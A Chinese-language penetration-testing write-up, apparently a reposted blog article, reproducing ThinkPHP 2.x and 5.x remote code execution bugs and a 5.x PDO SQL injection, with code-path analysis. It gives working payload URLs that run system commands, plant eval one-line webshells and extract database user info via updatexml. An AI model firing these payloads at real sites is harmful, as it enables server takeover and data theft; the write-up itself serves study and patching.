這篇文章為大家帶來了關於thinkphp的相關知識,其中主要介紹了關於ThinkPHP漏洞復現的相關內容,下面一起來看一下,希望對大家有幫助。
ThinkPHP是一個免費開源的,快速的,簡單的物件導向的國產輕量級PHP開發框架。
ThinkPHP遵循Apache2開源協定發布,是為了敏捷WEB應用開發和簡化企業級應用開而誕生的,具有免費開源,快速簡單及面向對像等眾多的優秀功能和特性。 ThinkPHP經歷了五年多發展的同時,在社區團隊的積極參與下,在易用性,擴展性和性能方面不斷優化和改進,眾多的典型案例確保可以穩定用於商業以及門戶的開發。
ThinkPHP借鑒了國外許多優秀的框架和模式,使用物件導向的開發結構和MVC模式,採用單一入口模式等。融合了Struts的Action想法和JSP的TagLib(標籤庫),ROR的ORM映射和ActiveRecord模式;封裝了CURD和一些常用操作,在專案配置,類別庫導入,模板引擎,查詢語言,自動驗證,視圖模型,專案編譯,快取機制,SEO支持,分散式資料庫,多資料庫連接和切換,認證機制和擴展性方面均有獨特的表現。
使用ThinkPHP,可以更方便快速的開發和部署應用程式。 ThinkPHP本身俱有許多的原創特性,並且倡導大道至簡,開發由我的開發理念,用最少的代碼完成更多的功能,宗旨就是讓WEB應用開發更簡單,更快速!
下載ThinkPHP後解壓縮完成會形成兩個資料夾:ThinkPHP和Examples。
ThinkPHP無需單獨安裝,將ThinkPHP資料夾FTP至伺服器Web目錄或拷貝至本機Web目錄下方即可。
#ThinkPHP.php:框架入口檔案
Common:包含框架的一些公共文件,系統定義,系統函數和慣例配置等
Conf:框架設定檔目錄
Lang:系統語言檔案目錄
Lib:系統基底類別庫目錄
Tpl:系統範本目錄
Extend:框架擴充s
thinkphp可以支援Windows/Unix伺服器環境,可以運行包含Apache,IIS和nginx在內的多種WEB伺服器和多種模式。需PHP5.2.0以上版本支持,支援MYSQL,MSSQL,PGSQL,SQLITE,ORACLE,LBASE以及PDo等多種資料庫與連線。
ThinkPHP本身沒有特別模組要求,具體的應用系統運行環境要求視開發所涉及的模組。 ThinkPHP底層運行的記憶體消耗極低,而本身的檔案大小也是輕量級,因此不會出現空間和記憶體佔用的瓶頸。
preg_replace函數:
preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = - 1 [ , int &$count ]])
搜尋subject中符合pattern的部分,以replacement進行替換。
$pattern:要搜尋的模式,可以是字串或字串陣列
$replacement:用來取代的字串或陣列
$subject:用於替換的目標字串或陣列
$limit:可選,對於每個模式用於每個subject字串的最大可替換數。預設是-1
$count:可選·,為替換執行的次數
傳回值:
#如果subject為數組,則傳回數組,其他情況下傳回字串。
如果匹配被查找到,替換後的subject被返回,其他情況下,返回沒有改變的subject,如果發生錯誤返回NULL
正則表達式:https://www. runoob.com/regexp/regexp-syntax.html
造訪頁面,發現是一個Thinkphp的cms框架,由於是漏洞復現,我們很清楚的知道他的版本是2.x。如果不知道版本的可以透過亂輸入路徑進行報錯,或是使用雲悉指紋辨識進行偵測
此時輸入已經爆出的遠端程式碼執行指令即可浮現漏洞:
/index.php?s=/index/index/xxx/${@phpinfo()} //phpinfo敏感文件 /index.php?s=a/b/c/${@print(eval($_POST[1]))} //此为一句话连菜刀
這裡只要將phpinfo()換成一句話木馬即可成功!
1)通过观察这句话,我们可以清楚的知道它是将
${@phpinfo()}
作为变量输出到了页面显示,其原理,我通过freebuf总结一下:
在PHP当中, ${} 是可以构造一个变量的, {} 写的是一般字符,那么就会被当作成变量,比如 ${a} 等价于 $a
thinkphp所有的主入口文件默认访问index控制器(模块)
thinkphp所有的控制器默认执行index动作(方法)
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
数组$var在路径存在模块和动作时,会去除前面两个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。
所以我们构造poc如下:
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}.......
2)换而言之,就是在thinphp的类似于MVC的框架中,存在一个Dispatcher.class.php的文件,它规定了如何解析路由,在该文件中,存在一个函数为static public function dispatch(),此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。
类名为`Dispatcher`,class Dispatcher extends Think 里面的方法有: static public function dispatch() URL映射到控制器 public static function getPathInfo() 获得服务器的PATH_INFO信息 static public function routerCheck() 路由检测 static private function parseUrl($route) static private function getModule($var) 获得实际的模块名称 static private function getGroup($var) 获得实际的分组名称
漏洞简介
ThinkPHP 5.x主要分为 5.0.x和5.1.x两个系列,系列不同,复现漏洞时也稍有不同。
在ThinkPHP 5.x中造成rce(远程命令执行)有两种原因
1.路由对于控制器名控制不严谨导致RCE、
2.Request类对于调用方法控制不严谨加上变量覆盖导致RCE
首先记录这两个主要POC:
控制器名未过滤导致rce
function为反射调用的函数,vars[0]为传入的回调函数,vars[1][]为参数为回调函数的参数
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
核心类Request远程代码执行漏洞
filter[]为回调函数,get[]或route[]或server[REQUEST_METHOD]为回调函数的参数,执行回调函数的函数为call_user_func()
核心版需要开启debug模式
POST /index.php?s=captch
_ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
or
_ method=_construct&method=get&filter[]=system&get[]=pwd
控制器名未过滤导致RCE
0x01 简介
2018年12月9日,ThinkPHP v5系列发布安全更新v5.0.23,修复了一处可导致远程代码执行的严重漏洞。在官方公布了修复记录后,才出现的漏洞利用方式,不过不排除很早之前已经有人使用了0day
该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞
最终确定漏洞影响版本为:
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
理解该漏洞的关键在于理解ThinkPHP5的路由处理方式主要分为有配置路由和未配置路由的情况,在未配置路由的情况,ThinkPHP5将通过下面格式进行解析URL
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
同时在兼容模式下ThinkPHP还支持以下格式解析URL:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...](参数以PATH_INFO传入) http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[&参数名=参数值...] (参数以传统方式传入)
eg: http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7 http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8
本次漏洞就产生在未匹配到路由的情况下,使用兼容模式解析url时,通过构造特殊url,调用意外的控制器中敏感函数,从而执行敏感操作
下面通过代码具体解析ThinkPHP的路由解析流程
0x02 路由处理逻辑详细分析
分析版本: 5.0.22
跟踪路由处理的逻辑,来完整看一下该漏洞的整体调用链:
thinkphp/library/think/App.php
116行,通过routeCheck()方法开始进行url路由检测
在routeCheck()中,首先提取$path信息,这里获取$path的方式分别为pathinfo模式和兼容模式,pathinfo模式就是通过$_SERVER['PATH_INFO']获取到的主要path信息,==$_SERVER['PATH_INFO']会自动将URL中的""替换为"/",导致破坏命名空间格式==,==兼容模式下==$_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')];,path的信息会通过get的方式获取,var_pathinfo的值默认为's',从而绕过了反斜杠的替换==,这里也是该漏洞的一个关键利用点
检测逻辑:如果开启了路由检测模式(配置文件中的url_on为true),则进入路由检测,结果返回给$result,如果路由无效且设置了只允许路由检测模式(配置文件url_route_must为true),则抛出异常。
在兼容模式中,检测到路由无效后(false === $result),则还会进入Route::parseUrl()检测路由。我们重点关注这个路由解析方式,因为该方式我们通过URL可控:
放回最终的路由检测结果$result($dispath),交给exec执行:
$dispatch = self::routeCheck($request, $config);//line:116 $data = self::exec($dispatch, $config);//line:139 public static function routeCheck($request, array $config)//line:624-658 { $path = $request->path(); $depr = $config['pathinfo_depr']; $result = false; // 路由检测 $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on']; if ($check) { // 开启路由 …… // 路由检测(根据路由定义返回不同的URL调度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; if ($must && false === $result) { // 路由无效 throw new RouteNotFoundException(); } } // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索 if (false === $result) { $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); } return $result; }
thinkphp/libary/think/Route.php
跟踪Route::parseUrl(),在注释中可以看到大概解析方式
$url主要同通过parseUrlPath()解析,跟踪该函数发现程序通过斜杠/来划分模块/控制器/操作,结果为数组形式,然后将他们封装为$route,最终返回['type'=>'moudle','moudle'=>$route]数组,作为App.php中$dispatch1值,并传入exec()函数中
注意这里使用的时 斜杠/来划分每个部分,我们的控制器可以通过命名空间来调用,命名空间使用反斜杠\来划分,正好错过,这也是能利用的其中一个细节
/** * 解析模块的URL地址 [模块/控制器/操作?]参数1=值1&参数2=值2... * @access public * @param string $url URL地址 * @param string $depr URL分隔符 * @param bool $autoSearch 是否自动深度搜索控制器 * @return array */ public static function parseUrl($url, $depr = '/', $autoSearch = false)//line:1217-1276 { $url = str_replace($depr, '|', $url); list($path, $var) = self::parseUrlPath($url); //解析URL的pathinfo参数和变量 $route = [null, null, null]; if (isset($path)) { // 解析模块,依次得到$module, $controller, $action …… // 封装路由 $route = [$module, $controller, $action]; } return ['type' => 'module', 'module' => $route]; }
thinkphp/library/think/Route.php
private static function parseUrlPath($url)//line:1284-1302 { // 分隔符替换 确保路由定义使用统一的分隔符 $url = str_replace('|', '/', $url); $url = trim($url, '/'); $var = []; if (false !== strpos($url, '?')) { // [模块/控制器/操作?]参数1=值1&参数2=值2... $info = parse_url($url); $path = explode('/', $info['path']); parse_str($info['query'], $var); } elseif (strpos($url, '/')) { // [模块/控制器/操作] $path = explode('/', $url); } else { $path = [$url]; } return [$path, $var]; }
路由解析结果作为exec()的参数进行执行,追踪该函数
thinkphp/library/think/App.php
追踪exec()函数,传入了$dispatch,$config两个参数,其中$dispatch为['type' => 'module', 'module' => $route]
因为 type 为 module,直接进入对应流程,然后执行module方法,其中传入的参数$dispatch['module']为模块\控制器\操作组成的数组
跟踪module()方法,主要通过$dispatch['module']获取模块$module, 控制器$controller, 操作$action,可以看到==提取过程中除了做小写转换,没有做其他过滤操作==
$controller将通过Loader::controller自动加载,这是ThinkPHP的自动加载机制,只用知道此步会加载我们需要的控制器代码,如果控制器不存在会抛出异常,加载成功会返回$instance,这应该就是控制器类的实例化对象,里面保存的有控制器的文件路径,命名空间等信息
通过is_callable([$instance, $action])方法判断$action是否是$instance中可调用的方法
通过判断后,会记录$instacne,$action到$call中($call = [$instance, $action]),方便后续调用,并更新当前$request对象的action
最后$call将被传入self::invokeMethod($call, $vars)
protected static function exec($dispatch, $config)//line:445-483 { switch ($dispatch['type']) { …… case 'module': // 模块/控制器/操作 $data = self::module( $dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null ); break; …… default: throw new \InvalidArgumentException('dispatch type not support'); } return $data; } public static function module($result, $config, $convert = null)//line:494-608 { …… if ($config['app_multi_module']) { // 多模块部署 // 获取模块名 $module = strip_tags(strtolower($result[0] ?: $config['default_module'])); …… } …… // 获取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); $controller = $convert ? strtolower($controller) : $controller; // 获取操作名 $actionName = strip_tags($result[2] ?: $config['default_action']); if (!empty($config['action_convert'])) { $actionName = Loader::parseName($actionName, 1); } else { $actionName = $convert ? strtolower($actionName) : $actionName; } // 设置当前请求的控制器、操作 $request->controller(Loader::parseName($controller, 1))->action($actionName); …… try { $instance = Loader::controller( $controller, $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller'] ); } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); } // 获取当前操作名 $action = $actionName . $config['action_suffix']; $vars = []; if (is_callable([$instance, $action])) { // 执行操作方法 $call = [$instance, $action]; // 严格获取当前操作方法名 $reflect = new \ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix = $config['action_suffix']; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName); } elseif (is_callable([$instance, '_empty'])) { // 空操作 $call = [$instance, '_empty']; $vars = [$actionName]; } else { // 操作不存在 throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); } Hook::listen('action_begin', $call); return self::invokeMethod($call, $vars); }
先提前看下5.0.23的修复情况,找到对应的commit,对传入的控制器名做了限制
thinkphp/library/think/App.php
跟踪invokeMethod,其中 $method = $call = [$instance, $action]
通过实例化反射对象控制$instace的$action方法,即控制器类中操作方法
中间还有一个绑定参数的操作
最后利用反射执行对应的操作
public static function invokeMethod($method, $vars = []) { if (is_array($method)) { $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new \ReflectionMethod($class, $method[1]); } else { // 静态方法 $reflect = new \ReflectionMethod($method); } $args = self::bindParams($reflect, $vars); self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); return $reflect->invokeArgs(isset($class) ? $class : null, $args); }
以上便是ThinkPHP5.0完整的路由检测,
0x03 弱点利用
如上我们知道,url 路由检测过程并没有对输入有过滤,我们也知道通过url构造的模块/控制器/操作主要来调用对应模块->对应的类->对应的方法,而这些参数通过url可控,我们便有可能操控程序中的所有控制器的代码,接下来的任务便是寻找敏感的操作
thinkphp/library/think/App.php
public static function invokeFunction($function, $vars = [])//line:311-320 { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 记录执行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); }
该函数通过ReflectionFunction()反射调用程序中的函数,这就是一个很好利用的点,我们通过该函数可以调用系统中的各种敏感函数。
找到利用点了,现在就需要来构造poc,首先触发点在thinkphp/library/think/App.php中的invokeFunction,我们需要构造url格式为模块\控制器\操作
模块我们用默认模块index即可,首先大多数网站都有这个模块,而且每个模块都会加载app.php文件,无须担心模块的选择
该文件的命名空间为think,类名为app,我们的控制器便可以构造成\think\app。因为ThinkPHP使用的自动加载机制会识别命名空间,这么构造是没有问题的。
操作直接为invokeFunction,没有疑问
参数方面,我们首先要触发第一个调用函数,简化一下代码再分析一下:
第一行确定 $class 就是我们传入的控制器\think\app实例化后的对象
第二行绑定我们的方法,也就是invokefunction
第三方就可以调用这个方法了,其中$args是我们的参数,通过url构造,将会传入到invokefunction中
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new \ReflectionMethod($class, $method[1]); return $reflect->invokeArgs(isset($class) ? $class : null, $args);
然后就进入我们的invokefunctio,该函数需要什么参数,我们就构造什么参数,首先构造一个调用函数function=call_user_func_array
call_user_func_array需要两个参数,第一个参数为函数名,第二个参数为数组,var[0]=system,var[1][0]=id
这里因为两次反射一次回调调用需要好好捋一捋。。。。
复现成功
0x01 漏洞原理
ThinkPHP是一款运用极广的PHP开发框架,其版本5中,由于没有使用正确的控制器名,导致在网站没有开启强制路由的情况下(即默认情况下),可以执行任意方法,从而导致远程命令执行漏洞。
0x02 漏洞影响版本
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
0x03 漏洞复现
可以利用点:
http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
vars[0]用来接受函数名,vars[1][]用来接收参数
如:index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27
会在屏幕上打出123和我们输入的字符串长度
写入一句话木马getshell
使用file_put_contents函数写入shell:
vars[0]=system&vars[1][]=echo%20"">>test.php
使用蚁剑成功getshell!
0x01 了解的知识:
pdo预编译:
当我们使用mysql语句进行数据查询时,数据首先传入计算机,计算机进行编译之后传入数据库进行数据查询
(我们使用的是高级语言,计算机无法直接理解执行,所以我们将命令或请求传入计算机时,计算机首先将我们的语句编译成为计算机语言,之后再进行执行,所以如果不编译直接执行计算机是无法理解的,如传入select函数,没编译之前计算机只认为这是五个字符,而无法理解这是个查询函数)
如此说来,我们每次查询时都需要先编译,这样会加大成本,并且会存在sql注入的可能,所以有一定危险。
如此,我们进行查询数据库数据时使用预编译,例如:
select ? from security where tables=?
此语句中?代表占位符,在pdo中表示之后绑定的数据,此时无法确定具体值
用户在传入查询具体数值时,计算机首先将以上的查询语句进行编译,使其具有执行力,之后再对于?代表的具体数值就不进行编译而直接进行查询,所以我们在?处利用sql注入语句代替时,就不具有任何效力,甚至传入字符串时还会报错,而预编译还可以节省成本,即上面语句除了查询数值只编译一次,之后进行相同语句查询时直接使用,只是查询具体数值改变。所以这种预编译的方式可以很好的防止sql注入。
漏洞上下文如下:
<?php namespace app\index\controller; use app\index\model\User; class Index { public function index() { $ids = input('ids/a'); $t = new User(); $result = $t->where('id', 'in', $ids)->select(); } }
如上述代码,如果我们控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。
文中已有分析,我就不多说了,但说一下为什么这是一个SQL注入漏洞。IN操作代码如下:
<?php ... $bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field); if (preg_match('/\W/', $bindName)) { // 处理带非单词字符的字段名 $bindName = md5($bindName); } ... } elseif (in_array($exp, ['NOT IN', 'IN'])) { // IN 查询 if ($value instanceof \Closure) { $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value); } else { $value = is_array($value) ? $value : explode(',', $value); if (array_key_exists($field, $binds)) { $bind = []; $array = []; foreach ($value as $k => $v) { if ($this->query->isBind($bindName . '_in_' . $k)) { $bindKey = $bindName . '_in_' . uniqid() . '_' . $k; } else { $bindKey = $bindName . '_in_' . $k; } $bind[$bindKey] = [$v, $bindType]; $array[] = ':' . $bindKey; } $this->query->bind($bind); $zone = implode(',', $array); } else { $zone = implode(',', $this->parseValue($value, $field)); } $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')'; }
可见,$bindName在前边进行了一次检测,正常来说是不会出现漏洞的。但如果$value是一个数组的情况下,这里会遍历$value,并将$k拼接进$bindName。
也就是说,我们控制了预编译SQL语句中的键名,也就说我们控制了预编译的SQL语句,这理论上是一个SQL注入漏洞。那么,为什么原文中说测试SQL注入失败呢?
这就是涉及到预编译的执行过程了。通常,PDO预编译执行过程分三步:
prepare($SQL)编译SQL语句
bindValue($param, $value)将value绑定到param的位置上
execute()执行
这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的:
所以,这个错误“似乎”导致整个过程执行不到第三步,也就没法进行注入了。
但实际上,在预编译的时候,也就是第一步即可利用。我们可以做有一个实验。编写如下代码:
<?php $params = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_EMULATE_PREPARES => false, ]; $db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params); try { $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))'); } catch (\PDOException $e) { var_dump($e); }
执行发现,虽然我只调用了prepare函数,但原SQL语句中的报错已经成功执行:
究其原因,是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false。
这个选项涉及到PDO的“预处理”机制:因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。
非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。
这时,假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。我们看看ThinkPHP5的默认配置:
... // PDO连接参数 protected $params = [ PDO::ATTR_CASE => PDO::CASE_NATURAL, PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL, PDO::ATTR_STRINGIFY_FETCHES => false, PDO::ATTR_EMULATE_PREPARES => false, ]; ...
可见,这里的确设置了PDO::ATTR_EMULATE_PREPARES => false。所以,终上所述,我构造如下POC,即可利用报错注入,获取user()信息:
http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
但是,如果你将user()改成一个子查询语句,那么结果又会爆出Invalid parameter number: parameter was not defined的错误。因为没有过多研究,说一下我猜测:预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。
其实ThinkPH框架漏洞大多用到的都是设置对于控制器名的一个疏忽问题,不理解的小伙伴可以查来url调用文件的机制来学习一下,其实这些框架漏洞都是基于基础漏洞的一些拓展,至于sql漏洞,了解一下pdo预编译原理即可。
不管java或是php在进行数据库查询的时候都应该进行pdo预编译,我们都知道,在jdbc工作的时候分成好多步
1.建立连接
2.写入sql语句
3.预编译sql语句
4.设置参数
5.执行sql获取结果
6.遍历结果(处理结果)
7.关闭连接
对于程序员来说,jdbc操作总是很麻烦,所以利用预编译就是将mysql查询语句进行封装,之后在进行查询的时候直接输入参数即可,这样即简化了操作也极大程度加强了安全属性,而以此类推,这样来说我们是否可以将其他步骤也进行封装呢,也就是建立连接,写入sql语句等,只留下写入sql语句与遍历结果来进行操作,这样就更加简化了操作。
于是就诞生出了Mybatis半自动框架与Hibernate全自动框架,直接将jdbc的操作进行封装,但是由于全自动框架可操作性过于狭窄,所以现在市面上更多的还是Mybatis框架进行连接服务端与数据库,但是一般政府或国企的项目还是偏向于Hibernate框架,这些知识都是涉及一些编程知识,大家可以自己去了解一下。
推荐学习:《PHP视频教程》
以上是滲透測試之路:ThinkPHP漏洞復現的詳細內容。更多資訊請關注PHP中文網其他相關文章!